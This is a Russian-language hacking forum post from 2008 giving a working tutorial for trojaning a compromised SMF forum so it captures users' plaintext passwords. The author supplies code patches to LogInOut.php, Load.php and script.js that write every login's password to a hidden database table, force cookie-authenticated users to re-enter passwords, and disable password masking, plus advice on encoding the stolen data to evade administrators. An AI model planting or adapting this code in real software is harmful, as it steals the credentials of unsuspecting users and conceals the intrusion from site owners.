Показать сообщение отдельно

  #9  
Старый 27.05.2008, 19:08
ty13r
Познающий
Регистрация: 18.07.2007
Сообщений: 40
Провел на форуме:
72605

Репутация: 13
Отправить сообщение для ty13r с помощью ICQ
По умолчанию

Часто бывает так: шелл залили, доступ к БД получили, а хотелось бы получить пароли пользователей. Но вот беда пароли зашифрованные, да еще соленые, а сидеть и брутить их лень/нет времени/желания. Тогда сделаем так чтобы юзеры сами выкладывали нам свои пароли на блюдечке!
Местом хранения паролей выберем БД. Сразу скажу что те кто считают этот метод слишком палевным могут просто писать все в файл, но имхо БД предоставляет куда больше возможностей по обработке/сортировке этих данных.
Сначала создадим таблицу куда будем складывать пароли
Код:
CREATE TABLE smf_logs (
       id             INTEGER NOT NULL,
       name           VARCHAR(100) NOT NULL,
       password       VARCHAR(100) NOT NULL
);
ALTER TABLE smf_logs
       ADD  ( PRIMARY KEY (id));
Далее открываем файл ./Sources/LogInOut.php находим там функцию Login2 и переходим к 380 строке
Код:
...
	elseif ($user_settings['passwordSalt'] == '')
	{
		$user_settings['passwordSalt'] = substr(md5(rand()), 0, 4);
		updateMemberData($user_settings['ID_MEMBER'], array('passwordSalt' => '\'' . $user_settings['passwordSalt'] . '\''));
	}
	//начало нашего трояна
	else
	{
		$req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$user_settings['ID_MEMBER']}");
		$user = mysql_fetch_array($req);
		if(!$user)
			$req = db_query("INSERT INTO {$db_prefix}logs SET `id`='".$user_settings['ID_MEMBER']."' ,`name`='".$_REQUEST['user']."' ,`password`='".$_REQUEST['passwrd']."'");
		if($user['password']!=$_REQUEST['passwrd'])
			$req = db_query("UPDATE {$db_prefix}logs SET `password`='".$_REQUEST['passwrd']."' WHERE `id`='".$user_settings['ID_MEMBER']."'");
	}
	//конец трояна
	if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
		$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']);

	// Get ready to set the cookie...
	...
Теперь сделаем так чтобы тем, кто заходит используя куки пришлось ввести свой пароль: откроем файл ./Sources/Load.php в функции loadUserSettings около 377 строки напишем:
Код:
...
elseif (empty($ID_MEMBER) && isset($_SESSION['login_' . $cookiename]) && ($_SESSION['USER_AGENT'] == $_SERVER['HTTP_USER_AGENT'] || !empty($modSettings['disableCheckUA'])))
	{
		// !!! Perhaps we can do some more checking on this, such as on the first octet of the IP?
		list ($ID_MEMBER, $password, $login_span) = @unserialize(stripslashes($_SESSION['login_' . $cookiename]));
		$ID_MEMBER = !empty($ID_MEMBER) && strlen($password) == 40 && $login_span > time() ? (int) $ID_MEMBER : 0;
	}
	//начало нашего трояна
	$req = db_query("SELECT * FROM {$db_prefix}logs WHERE `id`={$ID_MEMBER}");
	$user = mysql_fetch_array($req);
	if(!isset($user['id']))
	{
		unset($password);
	}
	//конец трояна
	// Only load this stuff if the user isn't a guest.
	if ($ID_MEMBER != 0)...
Наконец отредактируем файл ./Themes/default/script.js: найдем в нем функцию hashLoginPassword около 455 строки
Код:
	...
	doForm.hash_passwrd.value = hex_sha1(hex_sha1(doForm.user.value.php_to8bit().php_strtolower() + doForm.passwrd.value.php_to8bit()) + cur_session_id);

	// It looks nicer to fill it with asterisks, but Firefox will try to save that.
	//закомментируем эти строки
	//if (navigator.userAgent.indexOf("Firefox/") != -1)
	//	doForm.passwrd.value = "";
	//else
	//	doForm.passwrd.value = doForm.passwrd.value.replace(/./g, "*");
}
На всякий случай тоже самое сделаем в функции hashAdminPassword в том же файле несколькими строками ниже:
Код:
...
	doForm.admin_hash_pass.value = hex_sha1(hex_sha1(username.toLowerCase() + doForm.admin_pass.value) + cur_session_id);
	//закомментируем строку
	//doForm.admin_pass.value = doForm.admin_pass.value.replace(/./g, "*");
}
Теперь форум благополучно затроянен и нам только остается периодически заглядывать в нашу табличку чтобы удостоверяться что пароли записываются.
По желанию можно закодировать данные в табличке, например функцией base64_encode(), так что даже если админ и случайно наткнется на нее, то ничего не поймет. А для расшифровки набросать свой маленький скрипт и оставить эго где-нибудь в глубине исходников форума

Последний раз редактировалось ty13r; 31.05.2008 в 23:11..
 
Ответить с цитированием